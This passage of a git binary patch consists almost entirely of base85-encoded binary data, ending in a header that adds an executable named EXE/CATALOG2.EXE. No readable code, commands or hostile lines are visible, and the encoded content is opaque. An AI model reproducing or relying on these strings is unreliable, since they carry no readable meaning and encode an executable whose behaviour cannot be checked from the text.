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 literal 0 HcmV?d00001 diff --git a/EXE/CATALOG2.EXE b/EXE/CATALOG2.EXE new file mode 100644 index 0000000000000000000000000000000000000000..2edac7b389a1958e85f29a09c18ebb3bbae7f935 GIT binary patch literal 41647 zcmW)nS6EX^+lJFfAV8=BQW8Kw5k;DSgx*y|iXw_&?+rp|N(q8ef`DaPwkXYxTR~An z5duM)(k=9oP*w;fwA7WX&;LK1Ie6!qYYyg}=e}ppq4%&L7z~Dhp=BXxqbddVBOuRazQymP;x0F6Ho5)>F5fCF<{&Ee>suLg4V?gk4AKEyl)gVAtOP(Y02VrG|HnULtFjVp|DD-1Sl zgZrjBQ^bV{o*<+!2N)8Do~J{i<-0OC%uZPX)>tV6n zEB!hQfbKO&7g7la=HWmT0{BOwKLm(GO`U=PI&H8gFYf!9<|og+>J2oNCesimlt?oUI}2`FrM&`A^>1Xqq#btY%)? ze|A1;FibcM@%J$Ri66kz{FS-nU-P&Ha~U6O1+gZ-|2;4yx*E1Mo!VavZAgSsyL-lw zjR0GVlU(Sdi5>*)Ar}s<=q&I{E9X0sA<7$+`9-HTvI$(*#MbFXjYex;?qEGm*ut)I zW#xe@&xhd}x$v|`*-1Fe4-N)_gn8uqZ1}Y@k}Tk{u4M-Rzhurwzey&H#whZ2xhhc< z9Bn|zmPaELS}aSYUgIes89T&!Y(8MV_?XdQ#}emtI6hiqRPL&Q6ydO3w59DT7&qHR zCgKg@u`=|0#`8i6n;-(k@V?aPu#-Wg?9_CElnEnZWFTh z>x7BIv}Scs_j>;~%XoD9{H}GRUnA4sOF`$dEjZ^yQQWbNKl1dL!@PuX)7Q-0fu+LS zh6VCEDwp36ywZT5fPV3*3aJxNA~l8gtahtH@sDoW7;`$ULCdV++qC_7ot8{#wWwvN ztLN9~jOYQ+t}EAu62n^EHb1h%>imSw`6uL9k*&ynVbsOpe7wl<{4LarOCsm@`dH$c8fWT7e*k}EE%B3QI5yeQfXh+sZuQ= zUY8&1`LYzhtS>S2oR%0#Ocv>>S^#dr1u5cKi7YJuD|ykBl@eE0#I(Yc9v+O4 zeEm^#^Zd%{JWC9XS0!PqFsiVNd&e9B4OpcGyOh|d1msDcNZvc<7f<4?e%hUAFd7p!Z*JHKgPzN zq(p&;x8X6^-!|-NXso&#X*D!wM9Cgk8txJ}H0=b(qzsA}OO|1B*-zizCW${b8fbl- zE8xc{^jJ8q)!&t4@`nn?UUMS(WhcBbL2!Y)mXq8dDexY?V9H z0xWOnLdUC)23`TFt-#a<1Yl|8@`Sl|u!}wAF{M7%_kF8e@eCwi`b;h~EUgI<9B`bq zGS6mvU?=UN3~Ilq07pY&1A16e2|X@oy$Mtd+Qkdxwx9iQmd%`}p%Ky8MH@E>&^I4(DpVk5z|LvG8d}I}~jp1_J^^4(uODGp`J?=nI$2Mcz^Y5H)#Lb*` z{D-Z^o`--Y?|3#aE$kLMs5`}q@pilhD>@8?lp#m0d;*h=_bD2*zM znNnv($D&f{Dag)v%X2APjY-zj9%|>(?}eUmK4Jtpy#`Zf2>~aux|t~Jdu>?OcX*fO zv>b7WpSa3?j<&moO64{Y5>10bg`*W?!1|k6eZUWM`1=}Ll z2mPDG5CiCgES=>R*X~}HB6T=5j9$1ca}LW~>7I>7FRe@CyP0_-e{*Vrz@O1L6~`lMlS>fg*3&A(!517CfVxQ%iRkzb;OL0pV;X{e3AY~PT@1U;QHtE`?p-?T4>N?6oSleiAiLj~6=l8ef z!rs;t{>a?gyJ8vKhmpt(b>LfwKAN4K6^>3(Lk6 z9YDMAim?6of_M95%9rDSno)Sgh&Z6UicKf?UlaVGq)n`e4=ZG~WetRf9!Kf2Oqi01 zA0OnXkM85#Su&HyZX%bb-5xE3*SN6G>J||{>uxhYU>MtOFb&^0b;Vi!t`D`4IQ{sp z>+vP$t$W12t}$wmeE@K2W4X<=2d9lb?Mjh|z^4J?RgZ@x(aNOjcM%kKvx(pDN@n|# zr`w(u>XY$aBpd43lgDULf$ad}m*}a<{r?z8fjN`oxAmFnhcW}1A zdB+RDKv82kfa#=~(`@rRjqq^&4o+GoJLYM&OXZx_3#lblm)h6El%_R4`YH%1^CdDg 